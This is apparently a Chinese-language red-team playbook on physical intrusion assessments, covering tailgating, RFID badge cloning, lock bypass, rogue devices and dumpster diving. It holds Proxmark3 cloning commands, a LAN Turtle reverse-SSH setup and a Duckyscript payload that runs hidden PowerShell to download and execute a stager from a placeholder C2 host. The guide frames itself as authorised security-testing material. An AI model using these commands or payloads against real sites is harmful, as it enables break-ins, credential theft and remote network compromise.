performing-physical-intrusion-assessment

执行物理入侵评估

概述

物理入侵评估通过尝试未经授权进入设施、服务器机房和受限区域，来评估组织的物理安全控制措施。这包括尾随员工、克隆 RFID 门禁卡、绕过门锁、部署流氓网络设备，以及测试安保人员的处置流程。物理安全测试是全范围红队演练的关键组成部分，因为它通常提供获取网络访问权限的最直接路径。MITRE ATT&CK 将物理访问技术归类在 T1200（硬件添加）和 T1091（通过可移动介质进行复制）之下。

何时使用

• 在开展涉及执行物理入侵评估的安全评估时
• 在针对相关安全事件遵循事件响应流程时
• 在执行计划内的安全测试或审计活动时
• 在通过动手测试验证安全控制措施时

前提条件

• 已签署的授权书（评估期间全程随身携带）
• 客户安全团队的紧急联系方式（7×24 小时）
• 由高管授权签署的免于起诉证明信
• 物理安全测试工具包
• 随身摄像头或取证记录设备
• 伪装/掩护身份材料（制服、证件、写字板）

MITRE ATT&CK 映射

技术 ID	名称	战术
T1200	硬件添加	初始访问
T1091	通过可移动介质进行复制	初始访问
T1199	可信关系	初始访问
T1078	有效账户	初始访问

物理安全测试工具包

工具	用途	大致成本
Proxmark3 RDV4	RFID 门禁卡克隆（125kHz/13.56MHz）	$300
Flipper Zero	多协议射频分析	$170
开锁工具套装（Sparrows）	机械锁绕过	$35
门底工具（UDT）	从门外绕过门禁	$30
插片开锁器 / 锁舌拨片	弹簧锁舌绕过	$15
LAN Turtle	流氓网络植入设备	$60
WiFi Pineapple	流氓无线 AP	$100
Rubber Ducky / Bash Bunny	USB 击键注入	$50-80
写字板 + 安全帽 + 反光背心	社会工程道具	$20
随身摄像头	证据记录	$50

技术 1：尾随

尾随是指在没有出示凭证的情况下，跟随已获授权人员通过安全入口点。

方法：

• 双手占满法：抱着箱子/设备，请别人帮忙扶门
• 吸烟返回：在吸烟区附近等待，跟随员工返回室内
• 快递司机：穿快递制服，携带包裹
• 繁忙入口择时：在换班或午餐高峰时段进入
• 门被撑开：观察员工是否将门撑开

需要测试的应对措施：

• 旋转闸机 / 防尾随互锁门
• 安保人员盘查流程
• 尾随检测系统
• 员工安全意识

技术 2：门禁卡克隆

# Proxmark3 - Read a low-frequency (125kHz) HID card
proxmark3> lf hid read
# Output: HID Prox TAG ID: 2006xxxxxx - FC: 123 CN: 45678

# Clone to a T5577 blank card
proxmark3> lf hid clone --fc 123 --cn 45678

# Read high-frequency (13.56MHz) MIFARE card
proxmark3> hf mf rdbl --blk 0 -k FFFFFFFFFFFF

# Long-range capture with custom antenna (up to 3 feet)
proxmark3> lf hid read  # with extended antenna

# Flipper Zero - Read and emulate
# RFID > Read > Hold card to Flipper > Save > Emulate

门禁卡克隆攻击流程：

1. 靠近读卡器位置（电梯、门禁入口）
2. 在员工经过时无线读取门禁卡（1-3 秒时间窗口）
3. 克隆到空白卡
4. 使用克隆卡进入受限区域
5. 记录哪些区域可被访问

技术 3：锁绕过

锁类型	绕过方法	难度
弹子锁（标准）	单钩、梳子开锁或撞匙	简单-中等
弹片锁（文件柜）	单钩开锁或晃动开锁	简单
管状锁（自动售货机、服务器）	管状锁开锁工具	简单
电子锁（键盘）	肩窥、热成像仪	中等
磁力锁（电磁锁）	门底工具、REX 传感器绕过	中等
智能锁（蓝牙）	重放攻击、固件漏洞利用	困难

# Electronic keypad - thermal imaging after use
# Warmer keys = more recently pressed
# Use FLIR camera to capture heat signatures within 30 seconds

# REX (Request to Exit) sensor bypass
# Insert thin wire or use a can of compressed air to trigger motion sensor
# on the inside of a mag-locked door

技术 4：流氓设备部署

# LAN Turtle - Plug into exposed Ethernet port
# Provides SSH reverse tunnel back to C2 server
# Auto-configures as man-in-the-middle

# Configure LAN Turtle for reverse SSH
# Module: AutoSSH
# Host: c2.redteam.com
# Port: 22
# Remote port: 2222

# WiFi Pineapple - Deploy in common area
# Captures wireless credentials via evil twin attack
# Exfiltrates data over cellular modem

# USB Rubber Ducky - Drop in parking lot or leave on desk
# Payload: Download and execute C2 agent
# Duckyscript:
# DELAY 1000
# GUI r
# DELAY 500
# STRING powershell -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('https://c2.redteam.com/stager.ps1')"
# ENTER

技术 5：翻垃圾箱

搜索外部垃圾容器和回收箱，寻找：

• 包含敏感信息的打印文件
• 员工名录和组织架构图
• 网络拓扑图和 IP 地址
• 被粉碎的文件（评估交叉粉碎与条状粉碎）
• 被丢弃的硬件（硬盘、USB 驱动器）

评估方法

评估前侦察

1. 周界巡视 - 识别所有入口点、摄像头、警卫岗哨
2. 观察员工规律 - 换班时间、休息时间表
3. 识别门禁卡技术（HID、MIFARE、iCLASS）
4. 绘制摄像头覆盖范围和盲区
5. 记录保安巡逻路线和时间

执行阶段

1. 外部周界：围栏、大门、停车护栏
2. 建筑入口：正门、侧门、装卸区
3. 内部访问：楼层访问、电梯控制
4. 限制区域：服务器机房、高管办公室、数据中心
5. 设备部署：网络植入、恶意无线设备

文档记录要求

• 每次访问尝试的时间戳和位置
• 成功进入的照片/视频
• 接受克隆凭证的门禁读卡器位置
• 未上锁的门、被撑开的门、尾随机会
• 公共区域可访问的网络端口
• 垃圾容器中存在数据的证据

道德与安全考量

1. 始终携带授权书 - 如遇盘问，准备好立即表明身份
2. 绝不强行进入 - 如果某项技术会损坏财产，记录并跳过
3. 立即停止，如果在解除冲突前被呼叫执法部门
4. 未经授权绝不拍摄个人
5. 记录，而非利用 - 拍照作为证据，不要窃取实际数据
6. 安全第一 - 不要进入危险区域或绕过消防安全设施

参考资料

• ISACA 物理渗透测试白皮书（2023）
• ASIS 物理安全专业人员（PSP）指南
• NIST SP 800-116 Rev. 1：智能卡 PIV 指南
• Deviant Ollam - 物理安全评估方法论
• MITRE ATT&CK T1200： https://attack.mitre.org/techniques/T1200/